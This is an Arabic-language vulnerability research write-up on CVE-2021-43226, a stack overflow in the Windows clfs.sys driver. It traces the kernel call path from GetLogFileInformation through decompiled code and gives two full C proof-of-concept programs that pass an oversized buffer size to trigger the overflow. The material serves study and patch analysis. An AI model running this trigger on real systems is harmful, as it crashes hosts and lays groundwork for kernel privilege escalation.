
إثبات مفهوم لـ cve-2021-43226، تجاوز سعة الرصة في مشغل Windows clfs.sys
نظام التشغيل: Win10 20H2 على Hyper-V، الإصدار 19042.508، وجدت موقعًا https://os.click/en، صور Windows كاملة نسبيًا ولم أعثر على باب خلفي حتى الآن
نظرًا لأن الـ PoC الذي وجدته تم تجميعه باستخدام Visual Studio 2013، فقد استخدمت أيضًا Visual Studio 2013 لربط البرنامج بشكل ثابت
نقطة الثغرة موجودة في دالة CClfsLogFcbVirtual::QueryLogFileInfo داخل clfs.sys يصف توثيق Microsoft ملف clfs.sys على النحو التالي:
The Common Log File System (CLFS) API provides a high-performance, general-purpose log file subsystem that dedicated client applications can use and multiple clients can share to optimize log access.
المؤشر الأول لهذه الدالة هو CClfsLogFcbVirtual* this، بمقارنة الكود قبل وبعد التصحيح، يمكن ملاحظة فرق واضح في جزء الكود التالي:
v11 = (*(__int64 (__fastcall **)(_QWORD, struct _FILE_OBJECT *, _QWORD, _QWORD, _DWORD, __int64 *, unsigned int *))(**((_QWORD **)this + 78) + 152i64))(
*((_QWORD *)this + 78),
a2,
0i64,
0i64,
0,
Src,
Size);
هل تم تعيين Size إلى 120 قبل ذلك؟
من بين المعاملات الأخرى التي تستدعيها هذه الدالة، فإن a2 هو FILE_OBJECT، وSrc هو مصفوفة على المكدس (يقوم IDA بفك الترجمة إلى __int64 Src[16]; // [rsp+60h] [rbp-C8h] BYREF) ووصف هذه الثغرة هو تجاوز سعة المكدس، مما يشير إلى أنه عندما يكون Size أكبر من 120، يحدث تجاوز سعة المكدس.
إحدى المشكلات التي واجهتها هي عدم القدرة على عرض cross reference مباشرة؛ حيث يتم استدعاء هذه الدالة عبر __guard_dispatch_icall_fptr، وما زلت في طور تحديد عملية تمرير المعاملات في استدعاء الدالة.
(تحديث): يتم استدعاء هذه الدالة بواسطة ClfsQueryLogFileInformation أو CClfsRequest::LogFileInfo، حيث تستخدم كل منهما واجهتي API CreateLogFile و GetLogFileInformation على التوالي. وبما أن سلسلة استدعاء GetLogFileInformation أقصر بشكل واضح، فقد اخترت واجهة API هذه لإحداث الانهيار.
الخطوة الأخيرة عند استدعاء GetLogFileInformation هي تمرير المعاملات على النحو التالي، داخل دالة LogFileInfo:
v10 = (*(__int64 (__fastcall **)(_QWORD, struct _FILE_OBJECT *, _QWORD))(**((_QWORD **)this + 18) + 240i64))(
*((_QWORD *)this + 18),
v14,
**(unsigned int **)(*((_QWORD *)this + 6) + 24i64));
حيث v14 هو FileObject، و this هو CClfsRequest يُمرر كمعامل إلى LogFileInfo.
نواصل النظر إلى الدالة التي تستدعي LogFileInfo، وهي CClfsRequest::Dispatch (التصريح المحدد هو __int64 fastcall CClfsRequest::Dispatch(CClfsRequest *this, PIRP Irp, struct _DEVICE_OBJECT *a3)). تحدد هذه الدالة أي دالة يتم استدعاؤها بناءً على LowPart = CurrentStackLocation->Parameters.Read.ByteOffset.LowPart;، حيث CurrentStackLocation هو هيكل struct _IO_STACK_LOCATION *CurrentStackLocation; // rdx يُمرر كمعامل. ويعتمد تعيين this على المعاملات التي تُمررها الدالة العليا إلى هذه الدالة dispatch، لذا ننظر إلى الأعلى أكثر.
التالي هو دالة CClfsDispatchIoRequest:
v7 = CClfsRequest::Dispatch(v4, Irp, a1);
حيث a1 و Irp هما المعاملات المُمررة. a1 هو DeviceObject، و Irp هو مؤشر من نوع PIRP أي مؤشر IRP (يمكن الرجوع إلى IRP على https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_irp)
يتم تعيين v4 كالتالي:
v6 = (CClfsRequest *)ExAllocateFromNPagedLookasideList((PNPAGED_LOOKASIDE_LIST)&CClfsRequest::m_laList);
if ( v6 )
v4 = CClfsRequest::CClfsRequest(v6);//v4 هو نوع int64
بعد ذلك، ننظر إلى تمرير المعاملات حتى دالة CClfsDriver::LogIoDispatch، التي تمرر المعاملات التي تستقبلها مباشرة إلى دالة CClfsDispatchIoRequest.
الخطوة التالية هي دالة nt!IofCallDriver، بتصريحها:
NTSTATUS IofCallDriver(
PDEVICE_OBJECT DeviceObject,
__drv_aliasesMem PIRP Irp
);
أولاً، ابحث عن التصريح المحدد لواجهة API ومعاني معاملاتها.
GetLogFileInformation:
CLFSUSER_API BOOL GetLogFileInformation(
[in] HANDLE hLog,
[in, out] PCLFS_INFORMATION pinfoBuffer,
[in, out] PULONG cbBuffer
);
تعريف المعاملات كالتالي:
CLFS_INFORMATION يخصصه المستخدم لاستقبال بيانات وصف السجل.#include <stdio.h>
#include <wchar.h>
#include <Windows.h>
#include <windef.h>
#include <stdlib.h>
#include <clfsw32.h>
#include <clfs.h>
#pragma comment(lib,"clfsw32.lib")
int main(){
//إنشاء ملف سجل
wchar_t* logname = L"LOG:C:\\Users\\Public\\MyLog::Logstream";
HANDLE handle = CreateLogFile(logname, GENERIC_WRITE|GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0);
if (handle == INVALID_HANDLE_VALUE){
printf("sad:(\n");
abort();
}
printf("create log file success\n");
//sizeof(CLS_INFORMATION) هو 120 أي 0x78
CLFS_INFORMATION buffer;
ULONG t = 0x120;
BOOL ret_val = GetLogFileInformation(handle, &buffer, &t);
return 0;
}
هنا، تم نسخ معاملات CreateLogFile و GetLogFileInformation وفقًا لوثائق Microsoft (https://learn.microsoft.com/en-us/previous-versions/windows/desktop/clfs/creating-a-log-file).
ولكن واجهت مشكلة صغيرة مع اسم السجل؛ في البداية اتبعت المثال من الوثائق:
على سبيل المثال: المسار "LOG:c:\MyDirectory\MyLog" ينشئ الملف "c:\MyDirectory\MyLog.blf".
لكن اكتشفت أنه سيتم إنشاء ملف سجل باسم "c" في المجلد الحالي مباشرة. لذا نظرت إلى PoC (آخرين)، وغيرته إلى المسار العام على نظام Windows "LOG: C:\MyLog"، ولكن هذا أيضًا لم يعمل. عند التصحيح وجدت أنه لا يتم استدعاء CClfsLogFcbVirtual::QueryLogFileInfo بل يتم استدعاء دالة CClfsLogFcbPhysical::QueryLogFileInfo. لذلك أضفت اسم تدفق السجل (LogStreamName)، وعمل الأمر.
مشكلة صغيرة أخرى: عند إنشاء الكود في Visual Studio باستخدام الربط الثابت، بدون سطر #pragma comment(lib,"clfsw32.lib")، يستمر الرابط (linker) في الإبلاغ عن أخطاء عدم العثور على CreateLogFile و GetLogFileInformation.
(https://github.com/KaLendsi/CVE-2021-43224-POC)
#include <Windows.h>
#include <wchar.h>
#include <iostream>
#include <clfsw32.h>
#include <Clfsmgmtw32.h>
#pragma comment(lib, "clfsw32.lib")
int main() {
wchar_t szLogPath[] = L"LOG:C:\\Users\\Public\\MyLog::Stream1";
//wchar_t szLogPath[] = L"??\\LOG:\\HarddiskVolume0\\MyLog";
//wchar_t szLogPath[] = L"LOG:\\\\?\\GLOBALROOT\\Device\\HarddiskVolume0\\Users\\Public\\MysssLog";
//\\\\?\\GLOBALROOT\\Device\\HarddiskVolume0
//SECURITY_ATTRIBUTES psaLogFile = {};
HANDLE hLog = CreateLogFile(szLogPath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, NULL);
if (INVALID_HANDLE_VALUE == hLog)
{
printf("error=%d\n", GetLastError());
return 1;
}
if (!RegisterManageableLogClient(hLog, 0))
printf("error=%d\n", GetLastError());
printf("hLog=%p\n", hLog);
CLFS_INFORMATION pinfoBuffer = {};
//ULONG infoSize = sizeof(pinfoBuffer);
ULONG infoSize = 0x110;
// system("pause");
DWORD dwRet = GetLogFileInformation(hLog, &pinfoBuffer, &infoSize);
if (dwRet == NULL)
{
printf("error=%d\n", GetLastError());
return 1;
}
printf("dwRet=%08x\n", dwRet);
return 0;
}